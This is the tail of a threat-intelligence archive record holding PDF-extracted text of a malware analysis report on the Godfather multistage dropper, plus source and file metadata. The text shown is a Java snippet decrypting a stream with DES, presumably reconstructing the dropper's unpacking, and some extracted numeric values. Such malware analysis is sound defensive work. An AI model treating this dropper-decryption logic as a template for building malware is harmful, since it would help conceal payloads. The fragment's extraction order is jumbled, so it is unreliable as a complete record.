Cipher.getInstance(\"DES\");\r\n cipher.init(Cipher.DECRYPT_MODE, secretKey);\r\n try (CipherOutputStream cipherOut = new CipherOutputStream(outputStream, cipher)) {\r\n byte[] buffer = new byte[64];\r\n int read;\r\n while ((read = inputStream.read(buffer)) != -1) {\r\n cipherOut.write(buffer, 0, read);\r\n }\r\n cipherOut.flush();\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 27 of 28\n\n}\r\n }\r\n}\r\nSource: https://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nhttps://shindan.io/blog/godfather-part-1-a-multistage-dropper\r\nPage 28 of 28\n\nOutput sh    \nExtracted numbers: [-88,-89,-86,-72, -72,-82,-72, -27,-79, -94,-69]\n  Page 25 of 28",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://shindan.io/blog/godfather-part-1-a-multistage-dropper"
	],
	"report_names": [
		"godfather-part-1-a-multistage-dropper"
	],
	"threat_actors": [],
	"ts_created_at": 1775434194,
	"ts_updated_at": 1775791202,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/012ee3ea191ddbe6a1fcca13064d59bc341b62df.pdf",
		"text": "https://archive.orkl.eu/012ee3ea191ddbe6a1fcca13064d59bc341b62df.txt",
		"img": "https://archive.orkl.eu/012ee3ea191ddbe6a1fcca13064d59bc341b62df.jpg"
	}
}